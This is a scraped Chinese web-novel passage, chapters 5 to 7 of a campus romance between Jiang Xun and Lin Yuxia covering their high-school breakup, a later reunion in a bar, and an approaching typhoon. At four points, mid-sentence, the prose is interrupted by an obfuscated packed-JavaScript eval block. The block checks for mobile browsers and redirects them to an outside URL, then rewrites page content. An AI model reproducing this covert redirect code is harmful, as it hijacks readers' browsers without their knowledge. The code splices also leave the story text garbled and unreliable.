“嘿！” 刚走过楼梯间与走廊的转角，江洵忽然就“跳”了出来。 林予夏停下往后撤了一步：“吓死我了！姓江的！” 江洵靠在林予夏的身边，两人一起往教学楼的楼下走。林予夏早就把刚才在心里建设的想法给抛到脑后了，没想起来一点。 “被吓到了？”江洵说，“是不是没有那么不开心啦？” “你这是什么道理？” “据说，人在陷入进一种情绪达到特别极点的时候，忽然出现另一个情绪，就能够有效缓解那种已经达到极点的情绪的影响程度。” “你听谁说的？”林予夏疑惑。 “世界著名心理学家，江·psychology·洵。” 林予夏：“……” “那你就打算用吓我来代替我的不开心？” “坏了。不行不行。”江洵怔住了一秒自己的思绪，“我想想啊，让你开心一点……” 不知不觉，两人已经走到了操场浅蓝色的跑道上。那时的他们还没注意到那晚的月光，只是慢慢地走在彼此的身边，听晚风经过的声音。 “要不……我给你唱歌吧。”江洵说，“我给你唱首歌，你别不开心啦。” 有的时候，林予夏觉得江洵特别像只摇尾巴的小狗。 比方说现在。 听见他的声音，她的心就陷入进了一种比晚风还要温柔的感觉。 “唱什么呀？” 他们停在了操场上的一盏路灯下，面对面站着，于昏暗温暖的光线中，寻找着彼此的视线。 江洵微微低头，靠近了林予夏的耳边。 一阵晚风经过身边，他在她的耳边缓缓轻唱： 「如果说，你是海上的烟火，我是浪花的泡沫，某一刻，你的光照亮了我」 「如果说，你是遥远的星河，耀眼得让人想哭」 「我是追逐着你的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353020|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸，总在孤单时候眺望夜空」 「我可以跟在你身后，像影子追着光梦游」 「……」 听着江洵轻轻的声音，林予夏忽然察觉自己的脸上又泛上了一阵红晕。彼时心跳也在加速，连呼吸都开始变得不自主起来。 那时虽不是盛夏，但依旧正值盛夏的天气，她知道自己正在暗恋着他。 周遭的温度越来越高，林予夏在心里反复着他的轻唱。 最后一句歌词结束，江洵唱完了这首歌。他重新看向她，两人的脸凑的很近很近。 “不准嫌弃我唱的不好听。” “好听。”林予夏下意识地回答说，“真的。” “那你心情有变好嘛？林予夏同学。” “嗯。”她早已经把那些报错的代码丢在了身后。 “这首《追光者》送给你。”江洵看着林予夏的眼睛笑着说，“我想说的是，就像歌词里写的那样，不论如何，作为朋友，我会一直在你的身边的。不管你遇见了怎样的困境，解不出来的题，我都会在你身后支持你，跟在你身后的。” 林予夏睫毛轻颤，一瞬间里，心里像是感觉到被什么柔软给击中了一般。 “不开心就来找我，我帮你回收那些不开心的情绪。相信我，我会哄好你的情绪的。” 晚风抚过身边，树上的夏蝉停止住了“知了——”，周遭陷入安静，月光落在了树梢。 林予夏感觉鼻尖一酸，感觉有很多话想对江洵说，却怎么都整理不好自己的语言。于是，她看向他轻声说：“谢谢你，江洵同学。” 他永远都不会告诉她，那晚他对她唱《追光者》是在他在对她说谢谢。从她出现在他生活里的那一刻起，从他们在台北旧书店相遇的那一秒钟里，他就察觉到自己的世界忽然开始渐渐地变得不一样了起来。 林予夏想不到原因，只感觉到一阵微热的晚风吹过了她的身边，那时她偷看向他。 却忽然撞上了他的目光。 她只知道，十五年来，自己第一次真正感受到了什么叫做心动。 其实不只是这一次察觉到了心动。 高一那年，两人以第三次月考打赌，看谁的分数高。略胜一筹的人，可以让对方满足自己一个愿望。 那年的打赌以林予夏比江洵高出1分而结束。 理所应当的，江洵需要满足林予夏一个愿望。 当时江洵笑着问林予夏愿望是什么，林予夏说想听他唱歌，什么歌都可以。 江洵问：“为什么这个是愿望？” 林予夏说：“上次你在琴房里弹颜人中的《有些》，听见你清唱这首歌的时候，我觉得你唱歌还挺好听的。” “好。”江洵当时揉了揉林予夏的头，“让我准备准备。” 当时的林予夏不知道，江洵会在什么时候为她唱这首歌。 也许会是在一个不写题的午后，他将耳机递给她，让她听他录下来的这首歌；也许会是在一个上晚自习前的傍晚，他等她打完球之后，回教室的路上，他清唱给她听；也许…… 那些“也许”，让林予夏越想越感觉自己像是陷入进了粉红色的泡泡一般，她开始期待着每一天和他待在一起的时候。 不久后就是新年晚会，各班分班组织晚会。陈嘉妤是班上的文娱委员，负责组织班上的这次活动。晚会开始前，陈嘉妤特意与林予夏说，让她坐在中间一点的位置。 林予夏只见陈嘉妤笑了笑，随后便拉着她坐下了。 她依旧没有找到江洵的身影，给他发消息，他也只是回了个小狗的表情。 教室里的灯光暗下，主持人厉川走上了大家围坐在一起而成的舞台，说着开场词。 她继续在给江洵发着信息：给你留了座位，快点来。 对面很快回复：你听^ ^ 林予夏不明所以，放下手机随意地看向路人前面。主持人已经走下了舞台，教室里的灯彻底熄灭。 全班安静。紧接着传来了一阵《有些》的钢琴声。 林予夏随着音符的雀跃，看向了声音出现的地方。不知道陈嘉妤和厉川从哪借来的追光灯。此刻江洵的身上，已经落下一束如月色般皎洁的光。 林予夏承认，她在那一瞬间里感受到了自己的心跳声，她的胸腔中，似乎从来都没有过如此这般的猛烈跳动，每一下，都是那么的清晰，牵扯着她那时的每一寸思绪。 5. Ch.05 较劲 桌上摆着一盏小台灯。 端上两杯长岛冰茶，江洵坐在了林予夏的对面。 今日的小酒馆提前打烊，江洵也提前给兼职的学生下了班。此刻的空气中，只剩下了他们，留足了空间，给他们叙旧聊天。 陈嘉妤今晚要在广电待一整晚，她给林予夏发消息说今晚就先不去她家了，小酒改成明天。正好，林予夏也有机会和江洵好好聊聊。 “你还好吗？” 简简单单的四个字，听上去像是电影里的老套台词。 但这确实也是林予夏此刻最想问江洵的问题。 江洵端起酒杯，小抿了一口，回答说：“也许还好。” “你现在，成小酒馆的老板了？”林予夏说，“我听说，你大学在执礼学的是心理学。” “和心理学有关的工作也还在做，白天在工作室陪预约的人聊天，晚上就在小酒馆里调酒。”江洵顿了顿继续说，“你呢，你还好吗？” 也许是每天面对代码而心生无聊，在旧金山的第四年，林予夏拿起了笔，开始写起了小说。六年时间过去，林予夏已经成为了小有名气的出版作家。 “嗯。”无法用词语去具体地形容自己的心情，林予夏只用了这么一个字来接话，然后继续说，“每天下班就回家写写作，以防明天编辑会来催稿。看看书，看看电影，也还算自在。” 江洵听完林予夏的话点了点头。 店里的音乐早已停止，却忘记了把正在放映的电影给关闭。《分手的决心》的台词忽然落入两人的耳边，他们在昏暗的光线中看向了彼此的视线。 思绪在同一个瞬间里坠入进了十年前，他们即将说告别之前。 2023年，夏末。晚自习下课的第十五分钟，教室里一大半的同学已经回家。渐渐的，周围只剩下了连紧闭的窗户都无法抵挡住的夏蝉鸣叫，以及，空调往外呼呼吹冷气的声音。 教室里的江洵和林予夏不为所动，都在安静地写着课桌上的数学试卷。 趁着一道题写完的间隙，林予夏偷偷瞄了一眼江洵。 他面色从容，丝毫没有什么要走的意思。 难道——他是想比谁先走？ 想到这，林予夏在心里哼地笑了一下。 江洵同学，你的那些小心思，我能不懂？ 嘴角扯上一抹笑，林予夏低头继续看向试卷上的下一道数学题。 莫名的思绪随着窗外吱呀乱叫的蝉声悄悄生长，没有人知道，在这样一个普普通通的夏夜里，教室里正在进行着一场暗戳戳的较劲。 又过五分钟。 江洵放下了手上的笔，将试卷整理好，放回课桌抽屉。他很快将自己的书包收拾完毕站起了身。但在迈开步子离开课桌之前，他看了一眼还在继续写题的林予夏。空调忽然停止往外输送冷气，呼呼声消失不见，但下一阵蝉鸣声却在此刻闯入进教室。 边走边悄悄回头，江洵就这样从教室后门走了出去。 同一时间，林予夏写完了最后一道导数题，她松了口气，转头看向江洵的座位，她注意到了那罐汽水的“消失”。 这场暗戳戳的较劲宣告结束，数学题解完，江洵的先行离开，让林予夏已经沉浸在题目中一整天的思绪瞬间就换了频道。起身关掉空调，窗外的那阵蝉声也被划上休止符。 走出教室的那一刻，她的心里忽然开始变得不确定起来。或许江洵没有在同她较劲，只是在单纯的写题呢？如果是这样的话，那岂不是会显得她很会多想？ 走到二楼的楼梯间，一阵钢琴的音乐声隐隐约约地传到了林予夏的耳边。 下晚自习有人在教学楼大厅里弹奏钢琴，这是常有的事。偶尔的时候，还会看见有人在钢琴边驻足，只为听完那一首歌。 今天已经十点半了，估计没有人驻足在钢琴边听完这首曲子。 林予夏欣喜，是那首Adele的《Love In The Dark》，很巧的是，这首歌正好是她近期的单曲循环。 迈着缓缓的步子，林予夏走到了一楼大厅的楼梯口，钢琴的声音还在继续。林予夏的步伐很轻很轻，生怕打扰到那名弹奏钢琴同学的兴致。 站在不远处，林予夏注意到那是一名男生。支起来的三角钢琴顶盖打扰了些许视线，让她有点看不太清楚那名男生的脸。 林予夏悄悄走近些许，耳边钢琴的声音也开始逐渐清晰，回音慢慢听不见。 直到走到公告栏前，林予夏才注意到，弹钢琴的人…… 竟然是江洵。 身边的公告栏上还并排写着他们的名字，是入学考试的总分排名，他们并列第一。 顾不上太多，林予夏后撤了一点距离。步子依旧很轻，就像她方才走过来的时候那样。 一直倒退至快到一楼楼梯口的地方，林予夏停了下来。她心想，幸亏方才她的脚步很轻，幸亏他没有注意到她。心里放下一口气，她调整好方向，径直往这栋教学楼的大门口那走去。 经过他的时候，林予夏的视线一直在注视着前面的路，未曾偏离过一点，未曾看向过他一点。那阵看见他时心脏忽如其来的、“扑通扑通”的、难以抑制的跳动，在这个夜晚中，只有她自己知道。 离教学楼越来越远，钢琴的声音再次变得渐渐模糊。直到快要走到校门口，钢琴的声音才彻底消失在了耳畔。林予夏到这才戴上耳机，点开音乐播放软件。 耳机里单曲循环的，依旧是那首Adele的《Love In The Dark》。 “Take your eyes off of me so I can leave（你不要再注视着我，这样我才能坦然离去）……” “Please stay where you are（请止步在那个没有我的远方），” “Don’te any closer（也别再试图接近我）……” “I can’t love you in the dark（我无法在暗夜中盲目地爱你）……” 这还是她上高中以来，第一次自己一个人走这条回家的路。 走着走着，路过一盏又一盏的昏黄的路灯，看见自己交错变换的影子，听着耳机里一直在单曲循环的歌，林予夏的心里竟然感觉到了一种从未有过的无聊感。 要是江洵这家伙在的话，周围一定会是“聒噪”的。毕竟他在她身边的时候，好像话永远都说不完。 想了这么多，离学校已经有了一点距离。林予夏回头看向身后，并未看见有江洵的影子。她心想，或许，他还在教学楼里弹钢琴呢。 林予夏觉得心里有点奇怪，不是因为别的，主要是因为这次自己居然没有捉摸透江洵这家伙的内心。按照以往小吵架的经验来说，他都会跟上来求和好的，这次居然真让她一个人回家了？ 林予夏在心里叹了一口气。 不过这样也好，两人今后从此可能不会再有什么接触，然后像很多分手的情侣那样，渐行渐远。 这正是她现在所希望的。 但也是她最于心不忍的。 如果不是那天偶然发现了那个和他们有关的秘密，林予夏是不会如此认真地和毫无预兆地向他提出那句“分手”的。 很快就走到家的附近，那首Adele的《Love In The D ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353021|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ark》也已经来到尾声。 耳机里的音乐停下来的那一秒，身后忽然传来了一阵滑板的声音。 林予夏摘下一只耳机，音乐陷入进彻底的停止。 滑滑板的人在林予夏的面前停下，挡住了她的路。 江洵只是一脸可怜的样子看着她：“你想好了？真的要和我分手？” 林予夏没有说话，思绪里只是在回想着那句“I can’t love you in the dark（我无法在暗夜中盲目地爱你）”。 那是在他们视线碰撞交汇的第一秒。 夜雨坠落，头顶的路灯忽然暗了下来。 然后悄无声息的，慢慢熄灭在了夜色中。 “当然。”过了一会，林予夏用还算自然的语气再次确认。只是她的眼睛一直在刻意地避开江洵的视线，“下雨了，快回家吧。你挡住我的路了，麻烦让一下，谢谢。” 站在林予夏家楼下的不远处，江洵没有接话，只是很识趣地走到了一边。 接触不良的路灯在此刻重新亮起，但路灯下不再是两个人的身影。 林予夏头也不回地往前走，只留下江洵一个人站在了原地。他没有像从前那样追上前去，只是在昏黄的路灯下，默默看着她往前离开的身影。 直到林予夏家楼下的感应灯亮起，江洵才依依不舍地拿起滑板转身往回走。他家在学校旁租了一套学区房，从上高中那年开始，他就一直住在那。 他往往返返几乎两年，在送她回家的这条路上，他从未有过缺席。但从今夜开始，他不知道以后是否还能继续送她回家，是否还有名义于夜色中往返于学校旁和她家之间。 江洵到家的时候，时间已经接近十一点。突然到来的小雨天气已经停下，夜雨不再坠落，空气中燥热依旧。长宜夏季的天气就是这般的随意，有时风雨有时晴，你永远无法预料到下一秒是否会落下大雨。 将书包放在客厅里的沙发上，江洵没有按下客厅里落地灯的开关，只是静静地坐在沙发旁的地上，一如既往孤单地望着窗外漆黑一片没有星星的天空。这是他一天中寻常的、放松去整理思绪的时刻。 仲夏已经过去，盛夏却还想继续停留。在这样的夏季尾声里，知了依旧聒噪喧闹，吵个不停。 母亲宋清寒日常的落脚点在工作单位附近，并不在学校这边的出租屋，平日里都是江洵一个人住在这里的。 洗完澡回房间躺在床上，江洵有点睡不着。他清楚，今天自己写完试卷比她先走的这个举动，的确是在同她较劲。不过，他是故意的且将计就计的。 江洵猜测，按照林予夏的性子，她一定会觉得他留下来写题是在和她较看谁先走的劲。后来，他提前收书包离开教室，是为了让她觉得，在这场暗戳戳的较劲中，她暂时占了上风。 而后去到教学楼大厅，故意弹奏那首前不久因她专门而学的曲子，是为了让她注意到，其实他没有真正的离开。他给她个递了个回旋镖，试图让她的思绪有个措手不及。 这才是他真正的策略和计划。 他这么做不为了别的，只是在履行惯例的、吵架后的、将计就计般的较劲而已。 仅此而已。 只是思前想后，他还是没明白，林予夏为何会对自己说出“分手”？且这还是他认识她以来，第一次没和她说那句“晚安”或“明天见”。 树上的夏蝉随着夜色的不断沉沦，渐渐停止住了聒噪，开始坠落进夏季尾声的夜晚里。不知道数了多少只小绵羊，江洵坠入进了夏日的沉睡频率。 今夜，他和她，或许不会收到和那两个词有关的任何讯息。 只剩下了较劲。 6. Ch.06 计划 次日早上，天气不算太好，是个阴天。 江洵并没有像往常那样，提前去到林予夏家楼下去等她。他花一晚上的时间想清楚了，自己现在最好的办法，似乎就是不去故意招惹她。让时间先往后走一点，等她的思绪缓冲一些之后，他再去找时间好好同她谈一谈，到底是因为什么而分手的？ 不过，他没有一下了楼就跑出那条出租屋所在的小巷，而是在出租屋的楼下徘徊了片刻。小巷里的人来来往往，老旧的收音机正在播放着天气，滋滋的电流声伴着风落入到了江洵的耳边。 “据气象局测算，今年第××号台风正在靠近我市……” 似乎今天有雨？ 江洵蹲在路边的小草旁，看着一只又一只的小蚂蚁在清晨的路上觅食。不过，看小蚂蚁觅食只是打发时间，他真正的打算，是在这里等林予夏出现。 只要林予夏现身路过了巷子口，他就立即出发，换一条路走，不和她碰上。 这样才算是真正的有效躲避招惹。 常走的那条路上的学生很多，人来人往。而另一条路相对来说就没有什么人，还算平坦开阔，就是绕的远了些，去到的也是执礼附中的后门，还需要花时间绕到前门入校，所以一般很少有人选那条路。 等了十五分钟，小草边的小蚂蚁已经开始合伙搬面包了，林予夏还没有出现在常走的那条路的巷子口。 江洵看了一眼时间，距离早自习开始只剩下十五分钟左右，他必须要立即出发前往学校。计算完时间，和小草边的小蚂蚁说了句再见，江洵便跑上楼把滑板拿了下来。 巷子里回荡着蝉鸣声，夹杂着忽然出现的滑板声。 “哗啦——” 一阵风经过，带动了垂落的很低的绿叶枝头。 本着躲避林予夏，防止在路上撞见她的心思，江洵走的是那条没什么学生走的路，需要去到巷子的另一头。 到达巷子口时，他慢下了速度，注意着可能会出现的路人。 耳机里的歌结束的那一秒，滑板刚好出现在巷子口。只是意料之外的是，林予夏毫无征兆地出现在了他的视线里。 江洵下意识地从滑板上走下来，两人的视线在一瞬间里交汇。 林予夏：“……” 江洵：“……” 有那么一秒钟里，林予夏意识到，她和江洵的默契度似乎一直都还不错。 甚至在分手的第一天，两人竟然都选择了这条绕远的上学路。林予夏没有去猜测他选择这条路的原因是什么，她只知道，自己今天避开原先的上学路，只是为了躲避他，不和他碰面。 会遇见的人终究还是会遇见，好像怎么躲都躲不掉。 “你怎么在这？”或许是因为不知道要说些什么来缓解此刻的尴尬气氛，江洵随便在脑子里扯了一句话出来，打破了此时此刻的沉静。 “上学。”林予夏的回答言简意赅，一点都不拖泥带水，没说一句废话。 “怎么选这条路？”江洵问。 疑问的语气落下之后，江洵就后悔自己问出这个问题了。他现在又不算是她的好朋友，路上碰见了她，忽然这么一问，倒显得有些许冒犯。可能冒犯这个词太过于严重了一点，但是他也想不出什么别的更好的词来形容此刻的感觉。 “出门早，想走走。”林予夏的语气里倒是透露出了几分漫不经心的感觉，“你呢？怎么也走这边？” 江洵庆幸林予夏接了话，让气氛变得不尴尬，他指了指身边的滑板，说：“今天早上想玩一会滑板。这边的路挺适合的。” “哦。”林予夏点头看了一眼江洵的身旁。 空气忽然陷入尴尬，夏蝉的喧闹声也在此刻戛然而止。 他们谁都没有说话，反倒是很默契地转身往学校的方向走了。 如果不是在小巷口忽然相遇，两人不会现在都还没有进教室。走到附中的后门口时，江洵注意到，现在已经是到迟到的点了。 “哎哎哎。”江洵伸手拦住准备往前门走的林予夏。 林予夏回头，皱了皱眉：“怎么？” “迟到了。”江洵解释说，“现在走过去，教导处的老师又会逮着我们训两句。” 林予夏是因为江洵的话才注意到时间的，她转过身看向江洵，江洵很自然地将自己原本牵着她校服衣袖的手给放了下来。 江洵指向后门附近的墙：“那边，小卖部的旁边。” 顺着江洵所指的方向看过去，林予夏疑惑：“你要带我翻墙进学校？” 江洵笑了一下：“嗯哼。” “不行不行。”林予夏赶紧摆手拒绝，“这怎么能行呢？第一，不安全；第二，麻烦；第三，被教导主任抓到，那就惨了。” 江洵朝林予夏凑近一点：“照你这么说，现在前后门的路都会遇上教导主任。只不过前门是必然，后门是偶然。” 林予夏往后撤了一步，她觉得，两人此刻间的距离有点近了。照原先来说，这点距离，其实算不上太近。但是林予夏始终牢记在心，现在，她和江洵是刚刚分手的关系，他们之间不应该出现有这样近的距离的时候。 “你注意一下。”林予夏提醒，“我们昨天刚刚分手。” 江洵双手交叉抱在身前，单挑了一下自己的左边眉毛，动作的幅度不算太大。 “对哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353022|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江洵接话，顺势往后撤了一步，与林予夏之间拉开了些许距离，“但是，我不想让我们就这么不清不楚地分手。”他说完就朝林予夏那走上前去，距离比方才那会还近了些许，“你开的那罐分手汽水，我可没喝。” 林予夏：“……” 江洵继续说：“而且，你还没告诉我是因为什么事情分手的。不告诉我原因，我怎么能随便同意呢？我可不想让我们之间的关系，变得这么随意。” 林予夏的心里重复着江洵方才说的最后一句话，她接话说：“意思是？你觉得我觉得我们之间的关系很随意？” 江洵：“我什么时候说了？” 林予夏：“刚刚呀。你就忘了你最后一句话怎么说的了？”她学着江洵的语气重复说，“我可不想让我们之间的关系，变得这么随意。” 江洵：“……” 有那么一瞬间里，林予夏觉得，站在自己面前的这人，有点像只默默炸毛的小狗。虽没表露在脸上自己有点生气，但就是让人隐隐约约地感觉到他好像有点不爽。 林予夏移动步子往那边的小卖部那走，江洵反应过来之后便立即追了上去。 江洵像只正在摇尾巴的小狗一样好奇地问：“怎么，你要翻墙进学校？” “废话。”林予夏回复，“懒得走到前门去了。” 江洵在一旁偷笑，和往常一样，将滑板寄存在了那个小卖部的老板那。 两人停在墙壁前抬起头，然后同时看向了对方。 江洵歪头，示意让林予夏先借着他的肩膀翻过去。 带林予夏翻墙进学校这件事，其实是江洵的计划。 一个方才他在巷子口撞见她之后，心里忽然出现的一个计划。 “我站在你身后。”江洵说，“你不用担心自己会掉下来。” “那我要是真掉下来了怎么办？”林予夏说。 “你怕什么，我在你身后。”江洵说，“怎么？不信任我？” “没有…… “不是……” 听到林予夏的答案，江洵的嘴角扯出了一抹灿烂的笑。 林予夏恍惚了一下，她感觉自己好像又回到了两年前她第一次在学校里碰见他的那个夏天。所有的思绪在顷刻间泛上心脏，周围树上的夏蝉再次放声，树影在微风中缓缓摇曳，让人似乎彻底再一次坠入进了盛夏季节。 林予夏在心里反反复复地想，如果那天她没有发现那个和他们之间有关的那个秘密，如果一切都没有发生，该多好。 视线于气温爬升中交汇，江洵在蝉声结束的那一个瞬间询问说：“林予夏，吃柠檬糖吗？” 又是那句话。 7. Ch.07 默数 林予夏不清楚江洵忽然递给她一颗柠檬糖是出于什么目的和用意，只是她的思绪察觉到这一点、在脑海中想出这个问题的时候，她的手已经很自然地接过了这颗柠檬糖。 林予夏懊悔地闭上眼睛，将这颗柠檬糖攥在手心。似乎接过他递来的柠檬糖的这件事，已经成为了这两年来渐渐养成的习惯和自然。 “不带你翻墙。”江洵笑了一下，随即转身准备往前走，“我可不想教坏你。” 末了，他还特意转头看向站在他身后的林予夏。他把手随意地放在校服的口袋里，整个人丝毫没有迟到后可能会被抓到的那种紧张感。 他说：“教坏我的前……朋友。” 林予夏没说话，只是跟着江洵走过的轨迹，往执礼附中的前门走。明明是阴天，气温缺依旧很高。柠檬的酸甜味在口腔中蔓延，她在燥热的空气中忽然就感受到了一股冰凉。 林予夏像是想到了什么一样，忽然开口说：“江洵，你耍我？” 听到这句话，江洵猛然停下，看向了身后的林予夏：“嗯？” 好在林予夏在说完那句话之后就停了下来，不然这会，两人估计会撞个满怀。 “你先说要翻墙来着，现在又不翻了，我们在那停了这么久，早自习都快要上一半了。”林予夏走到江洵的身边，“早知道这样，我们还不如当时走前门，这样，还不会耽误早自习的时间。” “那……你想写检讨？”江洵向林予夏的方向歪头，他微微低下身子，毫不躲闪地看向林予夏。 江洵的视线来的太过于突然，以至于林予夏有点没反应过来，心跳好似漏跳了一拍。 “写就写。”林予夏说，“又不是我一个人写。” “这么说，你愿意我陪你一起写检讨？”江洵说，“早知道是这样，我们就去前门了。我怕你不愿意和我一起写检讨来着。” 林予夏：“……” 什么莫名其妙的逻辑，这人在说什么？听不懂听不懂。 正准备继续往前走，身后却传来了一阵“嘟嘟——”的汽车鸣笛声。还没等两人迈开步子，那辆汽车就停在了两人的身边。 车窗被车里的驾驶员按下，林予夏和江洵一看，竟然是班主任秦宋老师。 两人忽然间就不知道要说些什么了。 于是边匆匆忙忙地先打了个招呼：“秦老师早上好！” 声音整齐，掩藏着迟到的慌张。 秦宋笑了笑：“上车吧，这里不让久停。” “嗯？”两人同时诧异。 秦宋：“快点。” 两人瞬间反应过来，匆匆忙忙地上了秦宋的车。 离执礼附中前门很近，秦宋走的车直接驶入进了执礼附中的地下停车场。 “睡过头了？”秦宋正在找车位。 “嗯。”两人同时回答。 “没事。”秦宋安慰，“高三了，多睡一会也很正常。” 秦宋没有提“迟到”这两个字。停好车，秦宋说：“快点上去吧，早自习要结束了。记得吃早饭，第一节课是我的语文课，别在课上饿的肚子咕咕叫。” “谢谢秦老师！”依旧是整齐划一的声音，这次，语气里全是感激。 从地下停车场可以直接坐电梯到班级所在的那一层，过程还算顺利，电梯里没有遇见什么其他的老师。 气氛有点微微的尴尬，两人都没有说话，空气中只剩下了校歌的声音在慢慢回荡。 从电梯里出来之后，江洵忽然扯了一下林予夏的书包。感受到背后的力量，林予夏不得不停下了脚步。她回头看向江洵，问：“要干嘛？” “那什么……”江洵有点支支吾吾，因为，就在他看见林予夏视线的第一秒，他感觉到自己的心跳像是漏跳了一拍一样，“你想吃点什么，到教室了之后，我下去买。” “不用。”林予夏笑了笑，“我自己去便利店买吧，不麻烦你了。” 说完，林予夏就转身向高三（21）班教室所在的方向往前走了，只留下了江洵一个人待在原地。周围的人来来往往，只有他驻足在走廊的最侧边。 不麻烦你了。 江洵在心里反复了好几遍这句话。 长宜夏季尾声的天气喜欢说变就变，方才还在即将微微放晴的天空，在此刻忽然却换了一副神色。乌云开始堆积，天色在一瞬间里暗了下来，一副大雨即将到来的模样。 江洵的脑海中忽然回想起了方才在楼下听见的收音机里的天气预报。 或许天气早已经不同，周遭的一切在一个无人知晓的时刻悄悄地变了天，只是现在他才察觉到而已。而当他察觉到天空变化的时候，变天的过程早已结束，只能看见那最终的样子。他开始在心里悔恨，自己为何没有提前觉察到这种隐隐约约的变化。 风很大，吹进了走廊，吹过了洁白的校服衣角。 好像是台风快要来了。 江洵没有停留，他沿着林予夏方才走过的轨迹，往教室走去。 少台风天气的长宜，在这年的夏天里，即将迎来一场有史以来最大的风暴。 江洵从后门走近教室的时候，同学们正在七嘴八舌的讨论着即将到来的台风天气。 “你们说，学校会不会放假呀！” “当然有可能！” 林予夏不在自己的座位上，环顾教室的一圈，江洵也没有找到她的身影。 江洵心想，或许，她是去办公室交作业去了吧。 他看见了自己书包中的作业练习册，于是，他微微一笑，拿起了那几本练习册，走出了教室，往教室办公室的方向走去。 江洵猜的没错，林予夏确实是去了办公室，他在楼梯间里看见了她。但两人没有说话，甚至，林予夏看都没看他一眼，直接走了，就像是陌生人一般。且更算不上什么擦肩而过，毕竟，他们之间相隔了一条比较宽的距离。 但不可否认的一点是，在看见林予夏的那一秒，江洵的心跳还是“扑通——”了一下。 因为，他原本以为，她会和他打招呼的。 被心跳加速缠住的江洵，丝毫没有注意到周遭的一切。他正在心里琢磨，难不成林予夏是故意的？假装没看见他，不和他打招呼？ 不可能。 江洵在心里立即否认了这个说法。 她不会假装看不见我的。她就是很单纯的没看见，比较急着回教室而已…… 江洵觉得自己不能再继续往下想了，这只会让他原本就不算太清晰的思绪变得更加混乱。于是他加快了脚步，走到了楼上。 从办公室交完作业回到教室，广播里正好在通知放学的事情。这还是长宜的学校第一次因为台风天气放假。学生们对突如其来的假期感到兴奋，都在着急地收拾着自己的书本。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353023|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体会放多久的台风假，老师让大家等班级群里的通知，学校让学生们带上自己的课本和资料，方便在家里自习。 突如其来的假期让人比周五还要兴奋，很快，教室里面的学生就走完了。江洵收完书包的时候，视线正好撞上了林予夏的双眼。教室的最后一排，电风扇还在吱呀吱呀地慢慢旋转。林予夏很快就收回了自己的视线，准备起身离开教室。 江洵却在她即将转身的那个瞬间，下意识地牵住了她的书包。 林予夏站定回头看向江洵，用眼神示意了一下他手所在的地方。 接收到林予夏的眼神，江洵立即松开了自己的手，他说：“台风要来了，我担心路上会不安全。” “能否，再给我一次机会，让我送你回家，好不好。” 听到这句话，林予夏的嘴角抽搐了一下。动作很小，江洵似乎没有注意到。没等她回话，江洵继续说：“就这一次，以后你不提起，我绝对不来打扰你。” 他的眼神里似乎在说“求你了”。 林予夏本来心软了些许，但她的脑海中在那一瞬间里闪过了那个秘密。于是，她立即说：“没事。” 她笑着摆了摆手：“台风快来了，你也快回家吧。” 说完，她没作停留，直接走向了教室的后门口。 林予夏心里泛上了一丝酸酸涩涩的感觉，有如很多颗柠檬在一瞬间里撞击了她的心脏。对于这个秘密，林予夏不算完全的接受，这是她现在心存犹豫迟迟没有告诉江洵的原因。 江洵，如果你愿意，请再等等时间吧，让我把思绪整理清楚。 又或许过不了多久，你就会知道这个秘密。 等到那时候，你就会明白，我为什么会选择和你分手。 走出教室的第一秒，林予夏停下了自己的脚步，她不由地回头，偷看了他一眼。 那时她没继续选择克制自己的动作，去有意不看他，她偷偷地给自己放肆了一下。 一秒、两秒…… 心里在默数，林予夏对自己说，这两秒的偷看已经足够了，她不能够去贪恋更多的时间。 随后，她一头扎入进渐渐猛烈的狂风中。 她强忍着泛上来的情绪，再一次克制住了自己的思绪，默默地加快了脚步。 然后，再也没有回头…… 林予夏离开教室之后，江洵的心里便开始了默数。 他觉得，毕竟自己还是不要在回家的路上碰上她会比较好。 从她走出教室的那个瞬间数下第一秒，一直数到了第321秒，江洵才关灯背上书包往楼下走。 教室外的风还在继续渐渐猛烈，吹乱了他的头发，吹起了他的校服衣角。 